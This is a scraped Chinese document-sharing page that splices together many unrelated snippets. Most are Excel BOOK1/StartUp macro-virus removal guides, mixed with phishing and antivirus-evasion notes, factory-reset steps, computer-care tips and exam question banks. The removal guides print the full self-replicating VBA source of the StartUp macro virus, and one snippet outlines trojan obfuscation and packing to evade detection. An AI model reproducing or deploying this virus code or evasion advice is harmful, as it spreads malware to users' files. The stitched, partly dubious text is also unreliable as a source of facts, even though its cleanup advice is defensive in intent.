BOOK1病毒处理方法 - 360文档中心

宏病毒原理及防范

宏病毒原理及防范一、常见宏病毒1．startup宏病毒宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。

然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。

下面先看看startup宏病毒代码吧，注意红字部分。

Sub auto_open()On Error Resume NextIf ThisWorkbook.Path <> Application.StartupPath AndDir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name <> "StartUp" ThenApplication.ScreenUpdating = Falsen$ = Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)Sheets(n$).SelectEnd IfEnd Sub2．book1病毒book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。

清除宏病毒

清除宏病毒，名字是：StartUp.xls方法--大白菜文中图片都很小，看不清楚，可以用以下快捷方式：按住ctrl 向上滚动鼠标滑轮可以放大word，就可以看清楚图片了病毒样本如下：（下面是宏病毒代码，电脑知识欠缺的，千万被乱动哦，小心弄巧成拙）Vba代码=================宏病毒代码复制从下一行开始=================Sub auto_open()On Error Resume NextIf ThisWorkbook.Path <> Application.StartupPath AndDir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name <> "StartUp" ThenApplication.ScreenUpdating = Falsen$ = Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)Sheets(n$).SelectEnd IfEnd SubSub back()On Error Resume NextApplication.OnKey "%{F8}", "StartUp.xls!escape"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnSheetActivate = "StartUp.xls!cop"Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop" Workbooks.Open Application.StartupPath & "\StartUp.xls"End SubSub escape()On Error Resume NextApplication.OnSheetActivate = "StartUp.xls!back"Application.OnKey "%{F11}"Application.OnKey "%{F8}"Application.SendKeys "%{F11}"Application.SendKeys "%{F8}"For Each book In WorkbooksApplication.DisplayAlerts = FalseIf book "StartUp.xls" Then book.Sheets("StartUp").DeleteNextFor Each book In WorkbooksIf = "StartUp.xls" Thenbook.CloseEnd IfNextEnd Sub=================宏病毒代码复制到上一行结束=================为了知道如何操作，亲自运行病毒源码之后，（按住ctrl 向上滚动鼠标滑轮可以放大word ，就可以看清楚图片了）采取以下的方法处理，可以清除病毒并使感染文件在修改保存后也清除病毒（网上有人说用360或卡巴直接杀会导致文件打不开）：说明：如果找不到那个路径，是因为C盘是系统盘，那些是系统文件，被隐藏了，可以参照：/xiaolincc26/blog/item/2c524d4be7757c2d08f7ef35.h tml去做步骤：一、删除Excel11.xls文件位置路径：C:\Documents and Settings\Administrator\ApplicationData\Microsoft\Excel\Excel11.xls，该文件删除后，Excel会自动重建的；二、删除StartUp.xls文件位置路径：C:\Documents and Settings\Administrator\ApplicationData\Microsoft\Excel\XLSTART\StartUp.xls二、新建一个空的StartUp.xls，工具-》宏-》录制宏（随便录，只是为了能打开VBA编辑器）；下面这个就叫VBA编辑器（普通人没有要知道，百度一下就有/view/88461.htm）：这张图不是步骤中的内容，只是了解下.第二步：1.新建一个Excel：2.重命名为StartUp.xls三、从“工具－>宏－>宏”里面，选择刚才录制的宏，选择“编辑”，把全部内容都选中，把用下列内容替换：第三步：1.打开刚刚新建的那个Excel： StartUp.xls2.打开录制宏，工具-》宏—>录制宏，点击上图的确定，3.打开宏，工具—》宏--》宏，4.点击编辑按钮，5.复制Vba代码（看清楚开始和结束位置）内容到编辑区，覆盖原有的内容，Vba代码============复制从下一行开始（Sub auto open()开始）=============Sub auto_open()On Error Resume NextApplication.ScreenUpdating = FalseActiveWindow.Visible = Falsen$ = Workbooks(n$).Close (False)Application.OnSheetActivate = "StartUp.xls!cop"End SubSub cop()On Error Resume NextDim VBC As ObjectDim Name As String'Dim delComponent As VBComponentName = "StartUp"For Each book In WorkbooksSet delComponent = book.VBAProject.VBComponents(Name)book.VBAProject.VBComponents.Remove delComponentNextEnd Sub============复制到上一行结束（End Sub结束）=============6.关闭时候，保存StartUp.xls四、保存，然后再打开染毒文档，修改保存一下就可以清除掉感染的病毒。

什么原因造成excel表格中,总出现一个类似插入的空图片

竭诚为您提供优质文档/双击可除什么原因造成excel表格中,总出现一个类似插入的空图片篇一：打开excel表格时会同时自己打开一个空的excel 表格打开excel表格时会同时自己打开一个空的excel表格办公室电脑excel宏中毒了，每次打开excel都会扑闪扑闪跟飞蛾子似的打开以前的一些内容，同时自己打开一个名为book1的空excel，重装office都拿他没辙，现在终于找到了一个解决办法，分享给大家，希望有所帮助：方法一：1、此类文件会在c:\programFiles\microsoftoffice\office12\xlstart\bo ok1.创建book1.文件（如果没有“xlstart”文件夹，新建一个“xlstart”文件夹，在文件夹内新建个“book1.xls“文件）；如果有则删除book1.文件，新建个“book1.xls“文件。

2、到c:\programFiles\microsoftoffice\office11\xlstart\删除：book1.文件.方法二：1.打开excle文件，这时book1会随之启动。

2.关闭book1。

3.在你的excel中，插入--名称--定义，将所有名称删除，特别是auto_open，auto_close必须删除。

4.格式--工作表--取消隐藏，将取消隐藏后出现的工作表删除（这就是病毒体）。

5.找到c:\programFiles\microsoftoffice\oFFice11\xlstaRt，删除book1文件（xlstaRt文件夹中的文件会随着exce的启动而自动启动）。

6.保存、关闭excel文件，再次打开已没有病毒。

如果再出现，有可能感染xf/sic.f病毒，用最新360杀毒查杀可杀除。

如果还是不能解决，有可能是这个病毒在弹出问用户是否启用宏之后，用户选择了启用，那就麻烦一些，需要卸载掉office再重装（这个办法比较简单）然后别再打开excel文件，直接用360杀毒，全盘扫描就可以了。

电子表格打开会提示禁用或启用宏,或者会跟着打开一个新的BOOK1文档的解决方法

电子表格打开会提示禁用或启用宏，或者会跟着打开一个新的BOOK1文档的解决方法
那么手动清除Excel宏病毒的具体方法：
1、进入C:\Program Files\Microsoft Office\OFFICE11\xlstart\下先删除book1文件，（注意：这个C是指你的系统盘，比如我的是双系统，那么打开C盘就是删了也是无用的，看你使用的是哪个系统。

）然后再建立Book1文件；
2、打开EXCEL文档（提示启用宏的文档），格式-->工作表-->取消隐藏工作表，删除xl4poppy工作表（也可能是其他的工作表名：如0000ppy工作表），然后，点击菜单：插入-->名称-->定义，删除所有的名称。

保存；
3、处理完再删除刚才建立的文件夹。

这样就可以清松消灭掉Excel宏病毒，再打开你的excel文件，就安全了。

此种方法保证快捷有效！（本人表格文件按此方法可清除）。

恢复出厂设置的方法

恢复出厂设置的方法恢复出厂设置是指将设备恢复到原始出厂状态的操作，这样可以清除设备中的个人数据、设置和应用程序，并使其恢复到刚购买时的状态。

在某些情况下，恢复出厂设置可以解决设备出现的一些问题，例如系统崩溃、软件冲突或病毒感染等。

下面将介绍几种常见设备的恢复出厂设置方法。

一、恢复出厂设置方法之手机对于大部分手机厂商而言，恢复出厂设置的方法大同小异。

下面以安卓手机为例进行说明。

1. 打开手机的“设置”应用，滑动屏幕并找到“系统”或“高级设置”选项。

2. 在“系统”或“高级设置”中，找到“重置”或“恢复出厂设置”选项。

3. 在“重置”或“恢复出厂设置”选项中，会有一个警告提示，强调该操作将清除所有数据，请在操作前备份重要数据。

4. 确认操作后，手机将会开始恢复出厂设置的过程。

过程中手机将会自动重启，并清除所有数据和设置。

5. 恢复出厂设置完成后，手机将会重启并进入初始设置界面，用户需要重新进行一些初始设置，如选择语言、连接Wi-Fi等。

值得注意的是，不同的手机型号和系统版本，恢复出厂设置的操作路径可能会有所不同，请根据自己的手机型号和系统版本进行操作。

二、恢复出厂设置方法之电脑对于Windows电脑而言，恢复出厂设置的方法也有一些不同。

1. 在Windows系统中，点击“开始”菜单，选择“设置”。

2. 在“设置”中，选择“更新和安全”。

3. 在“更新和安全”中，选择“恢复”选项。

4. 在“恢复”选项中，可以看到“恢复此电脑”或“重置此电脑”选项。

5. 点击“开始”按钮，系统将会开始进行恢复出厂设置的操作。

在此过程中，系统将会清除所有数据和设置。

6. 恢复出厂设置完成后，电脑将会重启，并进入初始设置界面，用户需要重新进行一些初始设置，如选择语言、连接网络等。

对于苹果电脑（MacBook）而言，恢复出厂设置的方法如下：1. 点击苹果菜单，选择“重启”。

2. 在电脑重新启动时，按住“Command”和“R”键不放，直到出现苹果标志或进入恢复模式。

打开任何一个excel文件都会自动多打开一个Book1窗口

打开任何一个excel文件都会自动多打开一个Book1窗口
一、原因所在
您在使用工作并的时候，大概使用了窗口菜单中的新建命令来新建你的excel文件后保存，因此，就会出现这种情况。

也许是中毒了，office可能中毒了。

二、解决的办法
①解决办法
找到office的安装目录，如C:Program FilesMicrosoft OfficeOFFICE11，里面有个文件夹，名称是：XLSTART
把这个文件夹和里面的所有内容全部删除，这样就可以避免上述的问题的产生了。

万一按照上述的方法解决之后，打开excel文件提示安装什么之类的，请您使用第②种方法来解决。

②解决办法
建议查杀病毒，然后，还在出问题，那么，请重新安装一下OFFICE就行了。

③解决办法
还有一种可能，就是你的电子表格中了宏病毒了，你到网上下载一个“宏病毒专杀”软件安装并查杀，就可以解决问题了，注意，得把360杀毒这些软件关闭掉。

宏病毒深入分析

宏病毒的深入分析OFFICE给用户提供了用于创建专业而优雅的文档,表格等工具，帮助用户节省时间，并得到优雅美观的结果，在当前使用中是占有巨大优势的文字，数据处理器。

它为我们的办公提供了极大的便利.OFFICE为了方便客户，提供了宏这样一个功能。

宏就是能组织到一起作为一独立的命令使用的一系列命令，它能使日常工作变得更容易，一般说来，宏是一种规则或模式，或称语法替换，用于说明某一特定输入（通常是字符串）如何根据预定义的规则转换成对应的输出（通常也是字符串)。

这种替换在预编译时进行，称作宏展开。

通俗的来说，客户事先设置好宏，需要时就可以批量使用，而不必重复操作。

然而宏也是一把双刃剑，它在让客户享受便利的同时，同时也为黑客留下了漏洞，这就是今天要分析的宏病毒。

宏病毒是一种寄存在文档或模板的宏中的计算机病毒。

一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。

从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。

word宏病毒通过．DOC文档及．DOT模板进行自我复制及传播，而计算机文档是交流最广的文件类型。

多年来，人们大多重视保护自己计算机的引导部分和可执行文件不被病毒感染，而对外来的文档文件基本是直接浏览使用，这给Word 宏病毒传播带来很多便利。

特别是Intemet网络的普及．Email的大量应用更为Word 宏病毒传播铺平道路。

根据国外保守的统计，宏病毒的感染率高达40％以上，即在现实生活中每发现100个病毒，其中就40多个宏病毒，而目前国际上普通病毒种类已达12000多种。

宏病毒的产生，是利用了一些数据处理系统内置宏命令编程语言的特性而形成的。

这些数据处理系统内置宏编程语言的存在使得宏病毒有机可乘，病毒可以把特定的宏命令代码附加在指定文件上，通过文件的打开或关闭来获取控制权，实现宏命令在不同文件之间的共享和传递，从而在未经使用者许可的情况下获取控制权，达到传染目的。

删除EXCEL宏病毒的方法

在实际工作时，很多同事发现打开Excel启动宏文件后，伴随自动生成BOOK1
文件和提示“无法找到startup.xls”信息框，这是中了一种叫做ExcelMacro 的宏病毒。

若中毒，每次打开Excel表格文件，就会自从生产一个BOOK1文件，造成机器速度慢，系统崩溃。

该病毒可通过邮件等多途径传播，以下三种解决办法请大家参考：
1、用360急救箱或NOD32杀毒软件升级病毒库后进行查杀，有可能感染
xf/sic.f病毒，做全盘杀毒。

2、删除C:\Documents and Settings\Administrator\Application
Data\Microsoft\Excel\XLSTART下的所有文件，并在该目录下重新建立startup.xls文件，设置该文件属性为只读即可。

3、使用360顽固病毒专杀工具。

一定要全盘扫描病毒。

经验证，第二种方法较为有效，也可以三种方法一起使用。

完美解决excel VBA宏病毒

打开EXCEL文档，提示EXCEL VBA中包含无法禁用的宏（excel4.0的），禁用宏则文档为空什么都不显示；发邮件提示有病毒文件发送不成功；在打开EXCEL文件时，自动新建无数个EXCEL文件。

如有上述情况，可能中了VBA宏病毒，请用下列方式进行处理：1、格式-工作表—取消隐藏，会多出来一个“00000PPY”的工作表，请把该隐藏的工作表删除。

如取消隐藏为灰色，则文件没中该病毒EXCEL 2007操作方法为：选中某一工作表后右键—取消隐藏2、插入-名称-定义，把所有的多余的名称定义删除。

EXCEL 2007操作方法为：公式—名称管理器此时该文件的病毒已删除。

但如果新建EXCEL文件，则还会中该病毒，请执行第三步。

3、打开ProgramFiles\MicrosoftOffice\OFFICE11\XLSTART下的book1文件，执行1、2步。

（BOOK1文件为无扩展名，请用右键-打开方式-选择EXCEL打开）4、找到ProgramFiles\MicrosoftOffice\OFFICE11\XLSTART下的book1文件，右键—属性—-只读打勾—确定。

由于EXCEL每次启动时自动打开ProgramFiles\MicrosoftOffice\OFFICE11\XLSTART下的book1文件，经过第3、4步处理后，不会在本机上再传播此病毒，但已感染的文件必须逐一进行第1步和第2步处理。

该病毒目前传播已十分广泛，360 金山瑞星等杀毒软件都查不到毒，卡巴能查到但会把文件一次性删除得不偿失。

由于该病毒在EXCEL文件中存在，除非把EXCEL文件全部删除否则重装系统不能解决该问题。

该病毒不会在EXCEL 2007传播，但把文件传给他人仍然会传播该病毒。

该病毒十分讨厌，给工作造成了诸多不便，但有点象恶作剧，对计算机和文件没有实质性破坏。

但邮件发不出去，一打开EXCEL文件就新建几百个EXCEL文件，实在是可恶到人受不了，毕竟工作离不开EXCEL。

大计基题库[大学计算机基础]{1}

感染过计算机病毒的计算机具有对该病毒的免疫性。

A.Y B.N N 五笔字型输入法是Windows操作系统自身提供的一种汉字输入法。

A.Y B.N N 只要购买最新的杀毒软件，以后就不会被病毒侵害。

A.Y B.N N 世界上第一台计算机的电子元器件主要是晶体管。

A.Y B.N N 在Windows操作系统中，所有被删除文件都可从回收站恢复。

A.Y B.N N CPU与内存的工作速度几乎差不多，增加Chche只是为了扩大内存的容量。

A.Y B.N N 计算机病毒是一种具有自我复制功能的指令序列。

A.Y B.N Y 在word中的普通视图中可看到文档的分栏并排显示效果。

A.Y B.N N未来的计算机将是半导体、超导、光学、仿生等多种技术相结合的产物。

A.Y B.N Y 喷墨打印机是最经济的家用打印机。

A.Y B.N Y 指令是控制计算机工作的命令语言，计算机的功能通过指令系统反映出来。

A.Y B.N Y一个CPU所能执行的全部指令的集合，构成该CPU的指令系统。

每种类型的CPU都有自己的指令系统。

A.Y B.N Y 计算机病毒产生的原因是计算机系统硬件有故障。

A.Y B.N N 现在使用的计算机字长都是32位NA.YB.N所有的十进制数都可以精确转换为二进制数。

A.Y B.N N Excel的数据类型分为数值型、字符型、日期时间型。

A.Y B.N Y 计算机病毒带给用户最主要的危害是降低系统的性能。

A.Y B.N N计算机的发展经历了四代，“代”的划分是根据计算机的运算速度来划分。

A.Y B.N N 计算机的性能不断提高，体积和重量不断加大。

A.Y B.N N 计算机病毒主要以存储介质和计算机网络为媒介进行传播。

A.Y B.N Y 文字、图形、图像、声音等信息，在计算机中都被转换成二进制数进行处理。

A.Y B.N Y“程序存储和程序控制”思想是微型计算机的工作原理，对巨型机和大型机不适用。

河北省保定市成考专升本2023年计算机基础第一次模拟卷(附答案)

河北省保定市成考专升本2023年计算机基础第一次模拟卷(附答案) 学校:________ 班级:________ 姓名:________ 考号:________一、单选题(40题)1.1946年第一台计算机问世以来，计算机的发展经历了4个时代，它们是____。

A.低档计算机、中档计算机、高档计算机、手提计算机B.微型计算机、小型计算机、中型计算机、大型计算机C.组装机、兼容机、品牌机、原装机D.电子管计算机、晶体管计算机、小规模集成电路计算机、大规模及超大规模集成电路计算机2.用局域网方式连入Internet，您的电脑上必须有____。

A.调制解调器B.网卡C.打印机D.串行口3.计算机模拟人脑学习、记忆等是属于____方面的应用.A.科学计算机B.数据处理C.人工智能D.过程控制4.Internet与www的关系是____。

A.都表示互联网，只不过名称不同B.www是Internet上的一个应用功能C.Internet与www没有关系D.www是Internet上的一种协议5.常用键盘上的Shift为______。

A.功能键B.换档键C.编辑键D.返回键6.计算机网络的特点是____。

A.运算速度快B.精度高C.资源共享D.内存容量大7.微型计算机的核心部件是____。

A.控制器B.存储器C.微处理器D.运算器8.在Word2003中，要复制选定的文档的内容，可在用鼠标拖动所选内容的同时按住A.Alt键B.Tab键C.Ctrl键D.Shift键9.用MIPS(每秒百万条指令)来衡量的计算机性能指标是____。

A.传输速率B.存储容量C.字长D.运算速度10. 下列不属于计算机网络重要的服务功能的是( )。

A.均衡负载B.实现数据传输和集中管理C.验证失效性D.资源共享11.在Windows中，有些菜单项的右端有一个向右的箭头，则表示该菜单项____。

A.将弹出下一级菜单B.当前不能选取执行C.已被选中D.将弹出一个对话框12.保护信息安全最基础、最核心的手段是______。

EXCEL中BOOK1宏病毒清除处理方法

EXCEL中BOOK1宏病毒清除处理方法如果你打开XLS文件时提示该文件含有宏，不运行宏则无法看到表格内容，运行宏后，屏幕伴随闪动一下，同时会产生一个BOOK1的工作薄，那么，可以确定，你的office2003中了BOOK1宏病毒。

该病毒看似无恶意，但是烦人，之后使用过的XLS文件都将被感染。

虽然该毒不是新毒，但目前部分杀毒软件都不识别。

手工处理方法：1、阻断病毒交差感染。

如果你的office2003装在C盘。

将下面的DOS代码复制到记事本中，另存为“防止感染C.bat”。

双击“防止感染C.bat”，office装在D盘，则将下面的代码中“C:”改为“D:”。

该操作可在X:\Program F iles\Microsoft Office\OFFICE11\XLSTART下生成BOOK1特殊文件（普通方法无法删除），防止该病毒建立book1病毒文件。

如果\XLSTART存在book1（155KB）在启动EXCEL时，就会同时打开该病毒文件，所以感染你打开的XLS文件。

cd\C:cd\cd C:\Program Files\Microsoft Office\OFFICE11rd /s/q XLSTARTmd XLSTARTcd XLSTARTmd book1..\md book1md abc...\md book1\abc...\2、使用软件杀毒。

1、安装“BOOK1宏病毒超专杀.exe”（该软件必须关闭你所装的杀毒软件方可运行 /jjk下载），并对你的XLS文件进行扫描清除宏毒。

该软件不理想的是打开已清除病毒的XLS始终会有禁止宏的提示。

3、手工清毒。

打开带宏毒的XLS文件，并启用宏。

点菜单：格式，工作表，取消隐藏。

确定。

此时，会出现“00000ppy”工作表，点菜单工具，保护，撤消工作表保护，密码为“VicodinES”。

然后，对着“00000ppy”表标签右击，删除。

保存。

4、以上2，3两步可以去除病毒，但仍提示含宏或其它提示。

打开电子表格,总出现一个BOOK1的电子文件,请问怎么处理

为什么打开一个现有excel时会出现BOOK1啊？怎样设置让book1不出现而只出现现有内容？方法1：你先看看：C:\\Documents and Settings\\Administrator\\Application Data\\Microsoft\\Excel\\XLSTART 看看这个文件夹里有没有BOOK.XLS文件还有这个文件夹一样的：C:\\Program Files\\MicrosoftOffice\\OFFICE11\\XLSTART（这个是office的安装目录哈，我的是C盘其他人的不一定在那个盘里）如果删除后打开Excel还有的话，那么就就用方法2方法2：中了宏病毒，把C:\\Documents and Settings\\Administrator\\Application Data\\Microsoft\\Excel这个文件夹下的Excel11.xlb删除就可以了找到文件夹XLSTART，然后把文件夹中的BOOK1文件删除即可。

如何找到XLSTART文件夹？直接在窗口顶部的“搜索”搜出该文件夹。

如下图：在默认情况下，打开EXCEL，就会自动新建一个BOOK1的空白的电子文档。

这是正常的。

不知楼主遇到的具体情况是什么？如果打开EXCEL，会自动打开含有内容或有特殊格式的某一个文件比如BOOK1，则有可能BOOK1电子文档被保存到XLSTART文件夹里了，任何存放在XLSTART文件夹里面的Excel文件都会在Excel启动时被自动打开。

解决办法：打到XLSTART文件夹中的BOOK1文件，将其删除即可。

一般情况下可能找到两个以上的同名文件夹，其中一个在OFFICE软件的安装目录下，比如：“C:\Program Files\Microsoft Office\Administrator\Application Date\MIcrosoft\Excel\XLSTART"，其它的位于本机各用户名的配置文件夹中，比如“C:\Documents and Settings \Administrator\Application Date\MIcrosoft\Excel\XLSTART".）或者可以利用WINDOWS搜索功能查找本机上名为“XLSTART”的文件夹。

计算机安全及病毒防治第一章

震荡波（Sasser 2004）

在本地开辟后门，做为FTP服务器等待远程控制命令。病毒以FTP的形式提供文件传送。黑客可以通过这个端口偷窃用户机器的文件和其他信息。中毒后的系统将开启128个线程去攻击其他网上的用户，可造成机器运行缓慢，网络堵塞，并让系统不停地进行倒计时重启。
网游大盗
计算机应如何保养
计算机如果使用保养得当，就会延长使用寿命
1、定期开机，特别是潮湿的季节里，否则机箱受潮会导致短路，经常用的电脑反而不容易坏。但如果家居周围没有避雷针，在打雷时不要开电脑，并且将所有的插头拔下。
2、夏天时注意散热，避免在没有空调的房间里长时间用电脑。
3、不用电脑时，要用透气而又遮盖性强的布将显示器、机箱、键盘盖起来，能很好的防止灰尘进入电脑。 4、计算机在运行时不要搬动机箱，不要让电脑受到震动，也不要在开机状态下带电拔插所有的硬件设备，当然使用USB设备除外。
什么是计算机病毒
计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中被明确定义，病毒指“编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。 (人为编写、起破坏作用的程序或指令集合)
第一个计算机病毒
计算机应如何保养
10、每过半年，对电脑进行一次大扫除，彻底清除内部的污垢和灰尘，尤其是机箱，但要在有把握的前提下进行，如果对硬件不熟悉，还是少碰为妙。 11、电脑周围不要放置水或流质性的东西，避免不慎碰翻流入引起麻烦 12、养成劳逸结合的习惯，不要通宵达旦的玩电脑，对电脑的使用寿命不利，而对于身体的伤害则更大，显示器、机箱、鼠标和键盘都是有辐射的，键盘上的辐射量实际上更大。（键盘1000v/m,鼠标450v/m，CRT屏幕218v/m，主机170v/m，notebook笔记本2500v/m。）

电脑中excel表格打开之后总会出现book1,如何删除这个book1

电脑中excel表格打开之后总会出现book1，如何删除这个book1一、1、杀毒，杀毒！若确认没有病毒，到另一台机器试一下确认。

2、检查一下“工具－选项－常规中的启动时打开此目录的所有文件”这里，把所有的链接部分删掉。

3、去以下三个目录把这三个文件夹里的东西清空掉：C:\Documents and Settings\<user>\Application Data\Microsoft\Excel\XLSTART 上述【Application Data一般是隐藏文件夹】C:\Program Files\Microsoft Office\OFFICE11\STARTUP C:\Program Files\Microsoft Office\OFFICE11\XLSTART “USER”代表所使用的用户名。

如果是Excel2007版则上述文件夹OFFICE11改为OFFICE12。

二、建议你最好是装word2007，你可以试试。

应该没有问题。

（静静说：这个问题我使用过，有效果，但是有领导的文档只能打开2003版本的，所以office2007的装了也有“限制”）。

三、问：今天接收了一个文件，打不开，提示把宏级别设置为中，打开时要求启用或禁止宏。

从此后，我打开电脑里的任何EXCEL时，总要提示启用或禁用宏。

还要附带打开一个BOOK1电子表格。

请教如何删这个东西。

问题补充：C:\Program Files\Microsoft Office\OFFICE11\XLSTART）book1.xls 文件删除。

已经找到方法了。

最佳答案Office安装目录下，如：C:\Program Files\Microsoft Office\OFFICE11\XLSTART 看一下XLSTART下有没有BOOK1，有就删除掉四、打开任何excel文件, 都会同时打开一个book1的空excel. 一关闭不停新建窗体，现将处理方式分析给大家，如果有更好的请共享下。

宏病毒的查杀方法

一、宏病毒是什么？宏病毒是一种寄存在文档或模板的宏中的计算机病毒。

一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。

从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。

二、宏病毒的判断方法虽然不是所有包含宏的文档都包含了宏病毒，但当有下列情况之一时，您可以百分之百地断定您的OFFICE文档或OFFICE系统中有宏病毒：1、在打开“宏病毒防护功能”的情况下，当您打开一个您自己写的文档时，系统会会弹出相应的警告框。

而您清楚您并没有在其中使用宏或并不知道宏到底怎么用，那么您可以完全肯定您的文档已经感染了宏病毒。

2、同样是在打开“宏病毒防护功能”的情况下，您的OFFICE文档中一系列的文件都在打开时给出宏警告。

由于在一般情况下我们很少使用到宏，所以当您看到成串的文档有宏警告时，可以肯定这些文档中有宏病毒。

3、如果软件中关于宏病毒防护选项启用后，不能在下次开机时依然保存。

WORD中提供了对宏病毒的防护功能，它可以在“工具/选项/常规”中进行设定。

但有些宏病毒为了对付OFFICE中提供的宏警告功能，它在感染系统（这通常只有在您关闭了宏病毒防护选项或者出现宏警告后您不留神选取了“启用宏”才有可能）后，会在您每次退出OFFICE时自动屏蔽掉宏病毒防护选项。

因此您一旦发现:您的机器中设置的宏病毒防护功能选项无法在两次启动WORD之间保持有效，则您的系统一定已经感染了宏病毒。

也就是说一系列WORD 模板、特别是normal.dot 已经被感染。

鉴于绝大多数人都不需要或着不会使用“宏”这个功能，我们可以得出一个相当重要的结论：如果您的OFFICE文档在打开时，系统给出一个宏病毒警告框，那么您应该对这个文档保持高度警惕，它已被感染的几率极大。

注意：简单地删除被宏病毒感染的文档并不能清除OFFICE系统中的宏病毒！三、宏病毒的防治和清除首选方法：用最新版的反病毒软件清除宏病毒。

宏病毒专杀(CleanMacro)介绍

大家好，宏病毒专杀（CleanMacro）是毒霸资深反病毒工程师boom的业余作品，有需要的朋友可以下载使用~本专杀用于解决Book1、Startup、Results、Poppy、CopyMod、Blackice、Yugall等Office常见宏病毒。

宏病毒杀不了怎么办，用宏病毒专杀，特别说明:1、7.10版本开始和以前版本不兼容，使用新版本时，请先删除老版本。

2、7.11版本解决上一个版本被杀软误报的问题，请更新下新版本。

3、10.11版本开始支持了autocad病毒查杀，在查毒前请关闭autocad主程序。

2012.5.10:1、解决office 2007录制个人宏时误报的问题。

2、增加清除宏病毒时常见问题和问题解决方案。

3、改进没有office的用户交互。

4、更新专杀启动logo。

5、增加新版本特性提示。

setup.rar(0 Bytes, 下载次数: 2336361)2012.5.2:1、解决snake病毒模板清除失败的问题。

2012.4.18:1、解决其它杀毒软件清除残留的问题。

2012.4.16:1、解决Poppy病毒清除残留的问题。

2012.4.13:1、新增Excel.SpecsJoker.a病毒的查杀。

2、解决扫描时卡住的问题。

2012.4.10:1、解决Lorux病毒变种清除失败的问题。

2、解决ToDole病毒残留的清除问题。

2012.3.06:1、去除ms自带插件提示有宏的提示。

2、恢复专杀对office 2010的支持。

3、解决在office 2003下提示有宏的问题。

2012.3.03:1、解决Lourx病毒残留不能清除的问题。

2、解决office 2010运行后自动退出的问题。

更新日志：2012.3.01:1、新增ToDole病毒的查杀。

2、解决部分情况下"全盘扫描"不扫描u盘的问题。

2012.2.24:1、新增Xl4poppy新变种的查杀。

2012.2.23:1、解决专杀在win7下权限问题，导致运行出错的问题。

钓鱼手法及木马免杀技巧

钓鱼手法及木马免杀技巧网络钓鱼是黑客入侵用户账号的一种手段。

黑客通常使用类似于欺骗的方式，伪装成合法的个人或公司，从而诱骗用户泄露个人敏感信息和账户密码。

其实，网络钓鱼的目的是通过木马病毒向电脑中植入Trojan等恶意软件，从而完全控制电脑或服务器并且窃取敏感信息。

在这里，我们将会介绍一些钓鱼手法及木马免杀技巧。

一、钓鱼手法介绍A.邮件钓鱼邮件钓鱼是最常用的网络钓鱼手法之一。

黑客会发送网页马或电子邮件的附件，以虚假的方式仿冒正规机构，例如银行、支付宝、淘宝等网站来欺骗用户。

在邮件中，黑客会引导用户点击附加链接，被黑客诱导的用户可能会通过填写个人信息或点击附加链接下载木马病毒，最终导致漏洞被利用。

B.钓鱼网站黑客通过恶意软件和技术手段制造出一个虚假的模拟网站，这个网站可能会仿照银行、购物网站、社交媒体等，伪装成一个合法网站，诱骗用户使用假网站账户和密码，借此攻击用户。

钓鱼网站犯罪分子可以通过深度模拟合法网站的方法来欺骗用户，有些钓鱼网站会变得非常类似。

C.短信钓鱼短信钓鱼是另一个常见的网络钓鱼手法。

黑客通常发送带有钓鱼链接的短信，这些短信条件很具有欺骗性，以让用户信任钓鱼链接为目的，从而安装木马软件。

D.社交网站钓鱼社交网站钓鱼是指通过社交网站，如Facebook、Twitter、Skype或QQ等平台，欺骗用户点击诱饵链接或下载伪装木马病毒程序来窃取敏感数据。

这种动机可能涉及到像论坛和招聘网站等多种类型的网站。

二、木马免杀技巧A.代码分割在木马免杀的技术中，黑客使用代码分割来混淆恶意代码，以逃避杀毒软件的检测。

黑客会将代码分割成多个片段，使用混淆方法削弱恶意代码的可读性。

这样的技术能够使恶意软件在杀毒软件中不易被发现。

B.使用代码压缩工具使用代码压缩工具如UPX和PECompact，可以对木马病毒代码进行压缩处理，在存储和传输环节中，可以减轻恶意程序的大小，从而保证了文件负载的微不足道，以免引起安全软件的高度警觉。

如何清除Excel宏病毒

第二步就是禁止宏运行。在Excel工具栏-宏-安全性-最高。
第三步删除受感染的Excel和安装目录（\Program Files\Microsoft Office\OFFICE11\XLSTART）下的book1文件。
杀毒到此结束。
【备注】
1.利用金山wps可以将数据转成xls且不带有宏内容。但是在安装卸载的过程中会使得offices的相关关联失效造成严重的后果，包括offices文件无关联，下载的offices文件的时候无法出现打开按钮（只有保存和取消）等等后遗症。建议不要使用。
